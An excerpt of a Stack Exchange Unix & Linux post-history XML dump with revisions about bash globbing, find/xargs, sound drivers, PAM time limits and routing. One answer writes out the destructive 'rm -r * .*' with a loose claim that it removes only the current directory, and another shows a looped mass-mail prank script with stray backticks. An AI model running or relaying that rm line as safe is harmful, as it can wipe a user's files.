appropriate compilers for that OS.&#xD;&#xA;&#xD;&#xA; Apple being Apple, you have to have a recent version of the OS to run the latest compilers, so if you keep old versions of the OS around for testing, you'll need to use the contemporaneous version of Xcode on that machine." />
  <row Id="2241" PostHistoryTypeId="5" PostId="1174" RevisionGUID="d34c6e86-6661-4207-989d-eaf6a19b5c43" CreationDate="2010-08-24T14:27:38.930" UserId="102" Comment="minor clarification" Text="You can use the `GLOBIGNORE` variable to hide the `.` and `..` directories. This does automatically also set the `dotglob` option, so `*` now matches both hidden and non-hidden files. To get only non-hidden files you can explicitly request for the name not to start with a `.`.&#xD;&#xA;&#xD;&#xA;See this example:&#xD;&#xA;&#xD;&#xA;    $ ls -a&#xD;&#xA;    .  ..  a  .a  ..a&#xD;&#xA;    $ GLOBIGNORE=&quot;. ..&quot;&#xD;&#xA;    $ echo * #all (hidden and non-hidden but not . and ..)&#xD;&#xA;    a .a ..a&#xD;&#xA;    $ echo .* #all (only hidden)&#xD;&#xA;    .a ..a&#xD;&#xA;    $ echo [^.]* #all (only non-hidden)&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2242" PostHistoryTypeId="5" PostId="1162" RevisionGUID="3a0a4eab-6bb8-4575-937e-43356577421b" CreationDate="2010-08-24T14:29:05.623" UserId="73" Comment="deleted 7 characters in body; edited tags" Text="I tried to `make &amp;&amp; make install package`, but I get an error:&#xD;&#xA;&#xD;&#xA;&gt; libX11.so.6 not found&#xD;&#xA;&#xD;&#xA;Where can i get this lib?&#xD;&#xA;" />
  <row Id="2243" PostHistoryTypeId="6" PostId="1162" RevisionGUID="3a0a4eab-6bb8-4575-937e-43356577421b" CreationDate="2010-08-24T14:29:05.623" UserId="73" Comment="deleted 7 characters in body; edited tags" Text="éfedoraàépackagingàélibrariesàécompilingà" />
  <row Id="2244" PostHistoryTypeId="5" PostId="1168" RevisionGUID="8750641c-1032-4369-8efb-6106ed68b7a8" CreationDate="2010-08-24T14:30:35.093" UserId="73" Comment="added 5 characters in body" Text="I want to glob every hidden file and directory, but not the current (`.`) and parent directory (`..`).&#xD;&#xA;&#xD;&#xA;I am using bash.&#xD;&#xA;&#xD;&#xA;Observe current behaviour:&#xD;&#xA;&#xD;&#xA;    $ ls -a&#xD;&#xA;    .  ..  ...a  ...aa  ..a  ..aa  .a  .aa  .aaa  a&#xD;&#xA;    $ echo *&#xD;&#xA;    a&#xD;&#xA;    $ echo .*&#xD;&#xA;    . .. ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;I would like `.*` to behave like this&#xD;&#xA;&#xD;&#xA;    $ echo .*&#xD;&#xA;    ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;There is the shell option `dotglob`&#xD;&#xA;&#xD;&#xA;    $ shopt -s dotglob&#xD;&#xA;&#xD;&#xA;that works in a way; now I can `*` to glob everything (hidden or not) but not `.` and `..`&#xD;&#xA;&#xD;&#xA;    $ echo *&#xD;&#xA;    ...a ...aa ..a ..aa .a .aa .aaa a&#xD;&#xA;&#xD;&#xA;but now I can't differentiate between hidden or not. Also, `.*` still globs `.` and `..`&#xD;&#xA;&#xD;&#xA;    $ echo .*&#xD;&#xA;    . .. ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;Is there a way to make `.*` not expand to `.` and `..`?" />
  <row Id="2245" PostHistoryTypeId="2" PostId="1178" RevisionGUID="9012e161-aecb-4eda-8c95-d4400d4e5dbe" CreationDate="2010-08-24T14:42:06.703" UserId="665" Text="Sometimes after I boot up the machine, I get no sound in flash videos. First I didn't know why it was happening, but as I read a few articles here and there, I found out it was because of my USB webcam (logitech) - alsa was messing something up and didn't know how to handle sound drivers well (so they say). So one of the suggestions I found was to force the (in my case) snd_hda_intel module load before snd_usb_audio module during the boot process. I thought it worked, but after a while the same problem appeared again. Anyone have any suggestions what I should try to fix this?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="2246" PostHistoryTypeId="1" PostId="1178" RevisionGUID="9012e161-aecb-4eda-8c95-d4400d4e5dbe" CreationDate="2010-08-24T14:42:06.703" UserId="665" Text="Sometimes no sound in flash videos after boot?" />
  <row Id="2247" PostHistoryTypeId="3" PostId="1178" RevisionGUID="9012e161-aecb-4eda-8c95-d4400d4e5dbe" CreationDate="2010-08-24T14:42:06.703" UserId="665" Text="ébootàéaudioà" />
  <row Id="2248" PostHistoryTypeId="6" PostId="1178" RevisionGUID="4f114200-9e73-48c5-b5d7-e4f4aa9d6ed2" CreationDate="2010-08-24T14:44:32.733" UserId="29" Comment="edited tags" Text="ékernelàébootàédriversàéaudioà" />
  <row Id="2249" PostHistoryTypeId="5" PostId="1178" RevisionGUID="b93e7856-e785-4aa6-b07f-8f4c8d0603a5" CreationDate="2010-08-24T14:44:37.883" UserId="665" Comment="added 153 characters in body" Text="Sometimes after I boot up the machine, I get no sound in flash videos. First I didn't know why it was happening, but as I read a few articles here and there, I found out it was because of my USB webcam (logitech) - alsa was messing something up and didn't know how to handle sound drivers well (so they say). So one of the suggestions I found was to force the (in my case) snd_hda_intel module load before snd_usb_audio module during the boot process. I thought it worked, but after a while the same problem appeared again. If I just unplug the webcam from my computer, sound works perfectly on each boot, but I don't want to get down and insart the cam everytime I need it... Anyone have any suggestions what I should try to fix this?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="2250" PostHistoryTypeId="5" PostId="1055" RevisionGUID="1602ee07-4c25-4031-9a14-4ba11305d076" CreationDate="2010-08-24T14:45:25.610" UserId="73" Comment="added 11 characters in body; edited title" Text="What is your oldest machine you ever installed Linux on and currently still run? What are the specs, kernel version or distro, and for what purpose?" />
  <row Id="2251" PostHistoryTypeId="4" PostId="1055" RevisionGUID="1602ee07-4c25-4031-9a14-4ba11305d076" CreationDate="2010-08-24T14:45:25.610" UserId="73" Comment="added 11 characters in body; edited title" Text="Oldest Linux machine you still run" />
  <row Id="2252" PostHistoryTypeId="6" PostId="1178" RevisionGUID="b5d30d7a-f185-49a2-bcca-be622b4f728e" CreationDate="2010-08-24T14:45:28.753" UserId="29" Comment="edited tags" Text="ékernelàédriversàéaudioàéalsaàéflashà" />
  <row Id="2253" PostHistoryTypeId="5" PostId="1176" RevisionGUID="37a6eecf-e9d0-4e6b-9884-56ce79add70a" CreationDate="2010-08-24T14:59:43.797" UserId="1175" Comment="added 188 characters in body" Text="I've recently installed Ubuntu Server 10. I already have configured the basics and now I want to associate Windows and Mac OSx machines with the users created on ubuntu so that when I login in one of these machines, the network be configured automatically with user home directory and permissions.&#xD;&#xA;&#xD;&#xA;Currently the network is working with Samba, and the login is typed when a try to access the server. So, what I need now is the login associeted with workstations initial login prompt.&#xD;&#xA;&#xD;&#xA;Also, in Mac machines I want to automatically mount the network when I login.&#xD;&#xA;&#xD;&#xA;I will apreciate if someone provide me some resources and best pratices to do such thing.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="2254" PostHistoryTypeId="5" PostId="1097" RevisionGUID="9a9a373b-4d39-4f13-ac75-b8fd4f08d04a" CreationDate="2010-08-24T15:34:13.920" UserId="39" Comment="added 2 characters in body" Text="I typically use `awk` for things like this:&#xD;&#xA;&#xD;&#xA;`cat a.file | awk -F=&quot;;&quot; '{ print $1 }'`&#xD;&#xA;&#xD;&#xA;That will take each line of a file and print the first group before the delimiter `-F`" />
  <row Id="2255" PostHistoryTypeId="2" PostId="1179" RevisionGUID="1c56d4c1-bb00-4c90-97ca-102e8a2007bb" CreationDate="2010-08-24T15:37:14.153" UserId="102" Text="I normally use the nice and simple **mmv** utility for this usecase:&#xD;&#xA;&#xD;&#xA;    $ mmv &quot;image*.png&quot; &quot;#1.png&quot;&#xD;&#xA;will perform your task.&#xD;&#xA;&#xD;&#xA;Make sure to protect the patterns from the shell by quoting." />
  <row Id="2256" PostHistoryTypeId="2" PostId="1180" RevisionGUID="118ab98c-883b-468f-8aa7-602de29deef3" CreationDate="2010-08-24T15:51:33.160" UserId="1170" Text="as title: is the behaviour of `.*` to include `.` and `..` defined in LSB or POSIX or some other specification?" />
  <row Id="2257" PostHistoryTypeId="1" PostId="1180" RevisionGUID="118ab98c-883b-468f-8aa7-602de29deef3" CreationDate="2010-08-24T15:51:33.160" UserId="1170" Text="is the behaviour of .* to include . and .. defined in LSB or POSIX or some other specification?" />
  <row Id="2258" PostHistoryTypeId="3" PostId="1180" RevisionGUID="118ab98c-883b-468f-8aa7-602de29deef3" CreationDate="2010-08-24T15:51:33.160" UserId="1170" Text="écommandölineàéshellàébashà" />
  <row Id="2259" PostHistoryTypeId="5" PostId="1168" RevisionGUID="89f9b74a-52d3-4f6e-b8c3-7214221d08b0" CreationDate="2010-08-24T16:01:03.043" UserId="1170" Comment="added 4 characters in body" Text="I want to glob every hidden file and directory, but not the current (`.`) and parent directory (`..`).&#xD;&#xA;&#xD;&#xA;I am using bash.&#xD;&#xA;&#xD;&#xA;Observe current behaviour:&#xD;&#xA;&#xD;&#xA;    $ ls -a&#xD;&#xA;    .  ..  ...a  ...aa  ..a  ..aa  .a  .aa  .aaa  a&#xD;&#xA;    $ echo *&#xD;&#xA;    a&#xD;&#xA;    $ echo .*&#xD;&#xA;    . .. ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;I would like `.*` to behave like this&#xD;&#xA;&#xD;&#xA;    $ echo .*&#xD;&#xA;    ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;There is the shell option `dotglob`&#xD;&#xA;&#xD;&#xA;    $ shopt -s dotglob&#xD;&#xA;&#xD;&#xA;that works in a way; now I can use `*` to glob everything (hidden or not) but not `.` and `..`&#xD;&#xA;&#xD;&#xA;    $ echo *&#xD;&#xA;    ...a ...aa ..a ..aa .a .aa .aaa a&#xD;&#xA;&#xD;&#xA;but now I can't differentiate between hidden or not. Also, `.*` still globs `.` and `..`&#xD;&#xA;&#xD;&#xA;    $ echo .*&#xD;&#xA;    . .. ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;Is there a way to make `.*` not expand to `.` and `..`?" />
  <row Id="2260" PostHistoryTypeId="4" PostId="1164" RevisionGUID="7050e9a1-0220-4253-8f94-c61693a7f256" CreationDate="2010-08-24T16:28:55.053" UserId="73" Comment="edited title" Text="How to add a feature to Vim if it's not compiled with that feature?" />
  <row Id="2261" PostHistoryTypeId="2" PostId="1181" RevisionGUID="e2aeee29-10ae-4f4a-a484-20895613b85d" CreationDate="2010-08-24T16:42:08.577" UserId="1183" Text="Is it possible to lock some accounts in order to be accessible only during specific time periods?&#xD;&#xA;&#xD;&#xA;For instance the account joe should only be accessible during office hours." />
  <row Id="2262" PostHistoryTypeId="1" PostId="1181" RevisionGUID="e2aeee29-10ae-4f4a-a484-20895613b85d" CreationDate="2010-08-24T16:42:08.577" UserId="1183" Text="Lock some accounts during some time periods" />
  <row Id="2263" PostHistoryTypeId="3" PostId="1181" RevisionGUID="e2aeee29-10ae-4f4a-a484-20895613b85d" CreationDate="2010-08-24T16:42:08.577" UserId="1183" Text="ésecurityà" />
  <row Id="2264" PostHistoryTypeId="2" PostId="1182" RevisionGUID="cc906960-a52e-48e3-9fb0-048f2fafbb9f" CreationDate="2010-08-24T16:46:31.060" UserId="163" Text="I have a bunch of directories. Inside these directories is a cover letter and a zip archive of work. I wanted to run a quick and easy query to open up all the cover letters so I can decide if it's worth looking at the work folder.&#xD;&#xA;&#xD;&#xA;    find . | grep cover\.pdf | xargs open    #OS X has open linked to &quot;open&quot; the file&#xD;&#xA;&#xD;&#xA;This doesn't work. I've also muddied around with various `print0`, `xargs -0` variations with little success. What's the proper way to do this? " />
  <row Id="2265" PostHistoryTypeId="1" PostId="1182" RevisionGUID="cc906960-a52e-48e3-9fb0-048f2fafbb9f" CreationDate="2010-08-24T16:46:31.060" UserId="163" Text="Help with a find command" />
  <row Id="2266" PostHistoryTypeId="3" PostId="1182" RevisionGUID="cc906960-a52e-48e3-9fb0-048f2fafbb9f" CreationDate="2010-08-24T16:46:31.060" UserId="163" Text="éunixàéosxàégrepà" />
  <row Id="2267" PostHistoryTypeId="2" PostId="1183" RevisionGUID="4624ce6e-792d-4c2c-924b-b0f405d4fd0d" CreationDate="2010-08-24T16:47:09.297" UserId="1071" Text="I would like to have a link on website, both advertising the fact that I use (GNU/)linux, and pointing the curious reader to a source to learn more information. But I'm having trouble finding the right place to link.&#xD;&#xA;&#xD;&#xA;Desiderata:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;b&gt;Not distribution specific.&lt;/b&gt; (It would seem inappropriate to link to anything but the distro I actually use, but Arch Linux is not really right for beginners.)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;b&gt;Beginner friendly.&lt;/b&gt; Says in very simple terms what linux is for those who don't already have any idea. Links to download and beginner resources.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;b&gt;Not overly preachy.&lt;/b&gt; Doesn't shame or scold people for being bad, naughty Windows/Apple/non-free-software users.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;b&gt;Professional looking and up to date.&lt;/b&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;b&gt;Presents linux in a positive light.&lt;/b&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;But I'm having trouble finding a destination that matches all these criteria. Here are some of the things I've considered, but don't seem right for one reason or another:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linux.org/&quot;&gt;Linux online!&lt;/a&gt; Provides decent summary, but the page is extremely unprofessional looking (IMHO); straight out of the mid-1990s.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linux.com&quot;&gt;Linux.com&lt;/a&gt; or &lt;a href=&quot;http://www.linuxfoundation.org&quot;&gt;the Linux foundation&lt;/a&gt;: To me, these seem more aimed at those who already know what linux is, and want to learn more about the foundation, or recent linux-related news, rather than beginners; but the first link may be a possibility; some the pages buried deeper down are more promising.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.grokdoc.net/index.php/Switching_to_Linux&quot;&gt;Switching to Linux&lt;/a&gt; page on Grokdoc; a very good source of information, but is just information only, no pizzazz.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Thoughts?&#xD;&#xA;" />
  <row Id="2268" PostHistoryTypeId="1" PostId="1183" RevisionGUID="4624ce6e-792d-4c2c-924b-b0f405d4fd0d" CreationDate="2010-08-24T16:47:09.297" UserId="1071" Text="Good website to link to for generic linux advocacy" />
  <row Id="2269" PostHistoryTypeId="3" PostId="1183" RevisionGUID="4624ce6e-792d-4c2c-924b-b0f405d4fd0d" CreationDate="2010-08-24T16:47:09.297" UserId="1071" Text="élinuxà" />
  <row Id="2270" PostHistoryTypeId="5" PostId="1174" RevisionGUID="f49581f0-630c-42f8-8552-e822e36d838b" CreationDate="2010-08-24T16:51:51.353" UserId="102" Comment="corrected: dotglob can be disabled after GLOBIGNORE was set" Text="You can use the `GLOBIGNORE` variable to hide the `.` and `..` directories. This does automatically also set the `dotglob` option, so `*` now matches both hidden and non-hidden files. You can again manually unset `dotglob`, though, this then gives the behavior you want.&#xD;&#xA;&#xD;&#xA;See this example:&#xD;&#xA;&#xD;&#xA;    $ ls -a&#xD;&#xA;    .  ..  a  .a  ..a&#xD;&#xA;    $ GLOBIGNORE=&quot;. ..&quot;&#xD;&#xA;    $ shopt -u dotglob&#xD;&#xA;    $ echo * #all (only non-hidden)&#xD;&#xA;    a&#xD;&#xA;    $ echo .* #all (only hidden)&#xD;&#xA;    .a ..a&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2271" PostHistoryTypeId="2" PostId="1184" RevisionGUID="e7765ce3-9443-4385-af3a-9832797c6498" CreationDate="2010-08-24T16:57:20.660" UserId="298" Text="This should work:&#xD;&#xA;&lt;pre&gt;find . -name cover\.pdf -exec open '{}' \;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;You can test like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;find . -name cover\.pdf -exec ls -l '{}' \;&lt;/pre&gt;" />
  <row Id="2272" PostHistoryTypeId="5" PostId="1184" RevisionGUID="00db9a4f-3140-491c-838e-2b780d6fbbce" CreationDate="2010-08-24T17:04:39.247" UserId="298" Comment="add note about man page. " Text="This should work:&#xD;&#xA;&lt;pre&gt;find . -name cover\.pdf -exec open '{}' \;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;You can test like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;find . -name cover\.pdf -exec ls -l '{}' \;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Not sure what the man page looks like on OSX, but there are various examples in the find man page, if you search for EXAMPLES.  I often find myself refreshing my brain by checking those.  " />
  <row Id="2273" PostHistoryTypeId="2" PostId="1185" RevisionGUID="aefa29eb-57b4-4715-b501-31dd197760ca" CreationDate="2010-08-24T17:12:38.717" UserId="160" Text="In FreeBSD you can use the `pw` utility:&#xD;&#xA;&#xD;&#xA;    pw lock &lt;user&gt;&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    pw unlock &lt;user&gt;&#xD;&#xA;&#xD;&#xA;So now all you have to do is create a script to add `logout` and `kill` commands as required, loop through the users, execute via `cron` job and you're done!" />
  <row Id="2274" PostHistoryTypeId="6" PostId="1180" RevisionGUID="88a0cdaf-d67c-4b4a-a5ad-535626686e66" CreationDate="2010-08-24T17:23:37.743" UserId="29" Comment="edited tags" Text="écommandölineàéshellàébashàéstandardà" />
  <row Id="2275" PostHistoryTypeId="2" PostId="1186" RevisionGUID="45a404eb-e59c-4b93-8cdd-b9bee951d7fc" CreationDate="2010-08-24T17:25:25.527" UserId="1184" Text="If you are talking about Linux, it depends if the distro ships pam_time.so or not.  That PAM module can support limiting access to certain times of day, with user exceptions, fully looped into the PAM stack.&#xD;&#xA;&#xD;&#xA;For other *NIX, if they support PAM (like Solaris) you can probably get and compile pam_time.so from somewhere." />
  <row Id="2276" PostHistoryTypeId="6" PostId="1182" RevisionGUID="d4eddb0d-fa21-4c89-ba7e-236a62cda418" CreationDate="2010-08-24T17:45:21.880" UserId="29" Comment="edited tags" Text="éunixàéosxàégrepàéfindà" />
  <row Id="2277" PostHistoryTypeId="6" PostId="1183" RevisionGUID="688c6581-936b-41f5-a411-215b639fe840" CreationDate="2010-08-24T17:50:13.963" UserId="29" Comment="edited tags" Text="élinuxà" />
  <row Id="2278" PostHistoryTypeId="2" PostId="1187" RevisionGUID="8b1425df-b619-449c-b309-1b81578f98e3" CreationDate="2010-08-24T18:03:03.880" UserId="57" Text="If your xargs on your system supports -n option you can try following.&#xD;&#xA;&#xD;&#xA;`find . | grep cover\.pdf | xargs -n 1 open `&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2279" PostHistoryTypeId="2" PostId="1188" RevisionGUID="fa7b9fc8-17eb-4077-939b-d5c096c8aac8" CreationDate="2010-08-24T18:07:36.087" UserId="1131" Text="First, always check what versions of find/xargs you actually use on your Mac-OSX box. Perhaps you expect BSD/GNU behavior/options and use GNU/BSD versions.&#xD;&#xA;&#xD;&#xA;Don't know if *open* supports multiple arguments. If not call xargs like this:&#xD;&#xA;&#xD;&#xA;    xargs -n 1 open&#xD;&#xA;&#xD;&#xA;(which means that xargs executes for every argument an extra open process)&#xD;&#xA;&#xD;&#xA;And keep in mind that find | xargs without -print0/-0 is expected to fail if your filenames/paths contain spaces." />
  <row Id="2280" PostHistoryTypeId="2" PostId="1189" RevisionGUID="7876c7c4-1fb0-4870-bd4e-f059956e120f" CreationDate="2010-08-24T18:28:19.237" UserId="665" Text="I have a broadcom wireless card in my laptop and as far as I know, it acts as an USB device.&#xD;&#xA;I also have one USB stick wireless device (TL-WN422G - uses ath9k_htc driver) which I want to use at the same time as the first (Broadcom) device.&#xD;&#xA;&#xD;&#xA;The problem is, after I load ath9k_htc - iwconfig does not show the new USB device (the TL-WN422G - wlan1 / ath0 / whatever), but only the old one (wlan0 - Broadcom, checked by MAC).&#xD;&#xA;&#xD;&#xA;I tried this USB device (TL-WN422G) on my other computer that has PCI wireless card in it, and they both worked just fine together after I pluged it in... I get wlan0 (Ralink) and wlan1 (TL-WN422G).&#xD;&#xA;Is it some kind of a problem for the laptop that both devices are recognized as USB?&#xD;&#xA;How do I make wlan1 appear on my laptop?&#xD;&#xA;&#xD;&#xA;also, my system is fully up to date 2.6.35 kernel (Arch)&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;p.s. - moderators, could you please add this tags (I can't, don't have enough reputetion): **wireless atheros broadcom**" />
  <row Id="2281" PostHistoryTypeId="1" PostId="1189" RevisionGUID="7876c7c4-1fb0-4870-bd4e-f059956e120f" CreationDate="2010-08-24T18:28:19.237" UserId="665" Text="Multiple USB wireless devices?" />
  <row Id="2282" PostHistoryTypeId="3" PostId="1189" RevisionGUID="7876c7c4-1fb0-4870-bd4e-f059956e120f" CreationDate="2010-08-24T18:28:19.237" UserId="665" Text="éusbà" />
  <row Id="2283" PostHistoryTypeId="2" PostId="1190" RevisionGUID="81b7be89-a436-47cb-95b6-75c313b8e9d7" CreationDate="2010-08-24T18:29:49.657" UserId="1183" Text="None of the following 'tricks' is technically challenging or impressive, but they have some impact on the other person. If we can't use our jobs to make our lives happier, then we should think again about some things.&#xD;&#xA;&#xD;&#xA;I like `alias`. My favorite trick is to edit the ~/.bash_aliases on the computer of my gf as she is missing and add a line like:&#xD;&#xA;&#xD;&#xA;    alias gfname='echo Myname is thinking of you'&#xD;&#xA;&#xD;&#xA;or another romantic quotation.&#xD;&#xA;&#xD;&#xA;Another &quot;trick&quot; I especially like is:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    xaa=123`&#xD;&#xA;    for ((a=1; a &lt;= xaa; a++))&#xD;&#xA;    do&#xD;&#xA;    #sleep 1;&#xD;&#xA;    mail -s &quot;Happy Birthday $a&quot; address@example.com &lt; mails.txt&#xD;&#xA;    done&#xD;&#xA;    exit 0`&#xD;&#xA;&#xD;&#xA;where 123 is the of the person to whom I would like to wish happy birthday and mails.txt contains the message that I would like to write as the body of the email. Sleep 1; is sometimes necessary as there is a limit on fork(). You could also use command line arguments `$1` etc..." />
  <row Id="2284" PostHistoryTypeId="16" PostId="1190" RevisionGUID="81b7be89-a436-47cb-95b6-75c313b8e9d7" CreationDate="2010-08-24T18:29:49.657" UserId="-1" />
  <row Id="2285" PostHistoryTypeId="2" PostId="1191" RevisionGUID="fb5f4ad6-06ae-421c-b4db-144bc54d8ef6" CreationDate="2010-08-24T18:30:16.160" UserId="1131" Text="Some time ago I used a seq-like tool for printing a sequence of pseudo random generated number to stdout. You could specify a range, seed and the number of samples and much more.&#xD;&#xA;&#xD;&#xA;I've just forgotten the name of this tool!&#xD;&#xA;&#xD;&#xA;Does anyone can help me out?&#xD;&#xA;&#xD;&#xA;Perhaps you know even a more advanced tool? That, for example, supports different probability distributions or even the generation of a sequence of random words under different alphabets and length/character distributions." />
  <row Id="2286" PostHistoryTypeId="1" PostId="1191" RevisionGUID="fb5f4ad6-06ae-421c-b4db-144bc54d8ef6" CreationDate="2010-08-24T18:30:16.160" UserId="1131" Text="Stochastic version of seq for generating sequence of random number/words?" />
  <row Id="2287" PostHistoryTypeId="3" PostId="1191" RevisionGUID="fb5f4ad6-06ae-421c-b4db-144bc54d8ef6" CreationDate="2010-08-24T18:30:16.160" UserId="1131" Text="écommandölineàéshellà" />
  <row Id="2288" PostHistoryTypeId="6" PostId="1182" RevisionGUID="6235d9db-26bf-4800-bebf-d110a1c6988b" CreationDate="2010-08-24T18:33:47.993" UserId="250" Comment="edited tags" Text="éosxàégrepàéfindà" />
  <row Id="2289" PostHistoryTypeId="2" PostId="1192" RevisionGUID="592d72cb-d918-464e-8485-89ee1f15a473" CreationDate="2010-08-24T18:45:58.100" UserId="1186" Text="Probably you mean the functionality in bash expansion about globignore. By default the bash expansion match . and .. but reading the man:&#xD;&#xA;&#xD;&#xA;    The  GLOBIGNORE shell variable may be used to restrict the set of file names matching&#xD;&#xA;       a pattern.  If GLOBIGNORE is set, each matching file name that also  matches  one  of&#xD;&#xA;       the patterns in GLOBIGNORE is removed from the list of matches.  The file names ``.''&#xD;&#xA;       and ``..''  are always ignored when GLOBIGNORE is set and not null.  However, setting&#xD;&#xA;       GLOBIGNORE  to  a non-null value has the effect of enabling the dotglob shell option,&#xD;&#xA;       so all other file names beginning with a ``.''  will match.  To get the old  behavior&#xD;&#xA;       of  ignoring  file  names beginning with a ``.'', make ``.*''  one of the patterns in&#xD;&#xA;       GLOBIGNORE.  The dotglob option is disabled when GLOBIGNORE is unset.&#xD;&#xA;&#xD;&#xA;You can set the variable `GLOBIGNORE=.:..` so when you tipe something like this:&#xD;&#xA;&#xD;&#xA;    rm -r * .*&#xD;&#xA;you are removing only the current directory. The POSIX standard only specify that . is the current directory and .. in the parent of the current directory. The special meaning of .* is interpreted by bash or other shells (or programs like grep). " />
  <row Id="2290" PostHistoryTypeId="2" PostId="1193" RevisionGUID="5477a258-6e41-47f5-a112-5d5958721794" CreationDate="2010-08-24T18:46:03.640" UserId="1131" Text="The [Linux man-page][1] references POSIX.2, 3.13.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/man-pages/online/pages/man7/glob.7.html" />
  <row Id="2291" PostHistoryTypeId="2" PostId="1194" RevisionGUID="e64e41d7-2874-42cd-b6ca-750e3734442c" CreationDate="2010-08-24T18:51:20.493" UserId="317" Text="I have two gateway to access internet, somehow I want to load balancing it, so far its working, but some connection or service need persistent gateway IP to be used, so the client should never change its gateway once it have connected to dest., my current implementation seems to be round-robin or whatever it is.&#xD;&#xA;&#xD;&#xA;this is my iproute&#xD;&#xA;  &#xD;&#xA;    ...&#xD;&#xA;    ...&#xD;&#xA;    default&#xD;&#xA;        nexthop via 192.168.1.1 dev eth0 weight 1&#xD;&#xA;        nexthop via 192.168.1.2 dev eth0 weight 1&#xD;&#xA;&#xD;&#xA;now i want to fix it somehow the gateway the client will use is predetermined, for example by using source port, if the source port is even number we use gw.1 and odd number go through gw.1, can we do that using ip route?" />
  <row Id="2292" PostHistoryTypeId="1" PostId="1194" RevisionGUID="e64e41d7-2874-42cd-b6ca-750e3734442c" CreationDate="2010-08-24T18:51:20.493" UserId="317" Text="multigateway routing for specific src port" />
  <row Id="2293" PostHistoryTypeId="3" PostId="1194" RevisionGUID="e64e41d7-2874-42cd-b6ca-750e3734442c" CreationDate="2010-08-24T18:51:20.493" UserId="317" Text="énetworkingàéroutingàéiptablesàéipà" />
  <row Id="2294" PostHistoryTypeId="5" PostId="1194" RevisionGUID="cbc01def-5d56-4116-92a3-d2fdd73c8e74" CreationDate="2010-08-24T18:56:50.193" UserId="317" Comment="added 62 characters in body" Text="I have two gateway to access internet, somehow I want to load balancing it, so far its working, but some connection or service need persistent gateway IP to be used, so the client should never change its gateway once it have connected to dest., my current implementation seems to be round-robin or whatever it is.&#xD;&#xA;&#xD;&#xA;this is my iproute&#xD;&#xA;  &#xD;&#xA;    ...&#xD;&#xA;    ...&#xD;&#xA;    default&#xD;&#xA;        nexthop via 192.168.1.1 dev eth0 weight 1&#xD;&#xA;        nexthop via 192.168.1.2 dev eth0 weight 1&#xD;&#xA;&#xD;&#xA;now i want to fix it somehow the gateway the client will use is predetermined, for example by using source port, if the source port is even number we use gw.1 and odd number go through gw.1, can we do that using ip route?&#xD;&#xA;&#xD;&#xA;*note that I only have one outbound interface : eth0 here." />
  <row Id="2295" PostHistoryTypeId="2" PostId="1195" RevisionGUID="14614dde-f650-49aa-ab63-9b396667db0c" CreationDate="2010-08-24T18:59:46.627" UserId="1184" Text="You can also ride a motorcycle in the nude, and nothing may happen.  But I bet you'd feel better if you had when you crash the bike..." />
  <row Id="2296" PostHistoryTypeId="2" PostId="1196" RevisionGUID="861ea1bb-0d52-4969-94dc-18e57e84c5e1" CreationDate="2010-08-24T19:07:06.973" UserId="1186" Text="Do you mean jot? &#xD;&#xA;&#xD;&#xA;    $ jot &#xD;&#xA;    jot: jot - print sequential or random data&#xD;&#xA;    usage:  jot [ options ] [ reps [ begin [ end [ s ] ] ] ]&#xD;&#xA;    Options:&#xD;&#xA;    	-r		random data&#xD;&#xA;    	-c		character data&#xD;&#xA;    	-n		no final newline&#xD;&#xA;    	-b word		repeated word&#xD;&#xA;    	-w word		context word&#xD;&#xA;    	-s string	data separator&#xD;&#xA;    	-p precision	number of characters&#xD;&#xA;&#xD;&#xA;If you use Ubuntu the package is athena-jot. A simple example:&#xD;&#xA;&#xD;&#xA;    $ jot -r 10 12 27&#xD;&#xA;    26&#xD;&#xA;    13&#xD;&#xA;    22&#xD;&#xA;    18&#xD;&#xA;    25&#xD;&#xA;    12&#xD;&#xA;    13&#xD;&#xA;    23&#xD;&#xA;    15&#xD;&#xA;    23&#xD;&#xA;&#xD;&#xA;Bye.&#xD;&#xA;" />
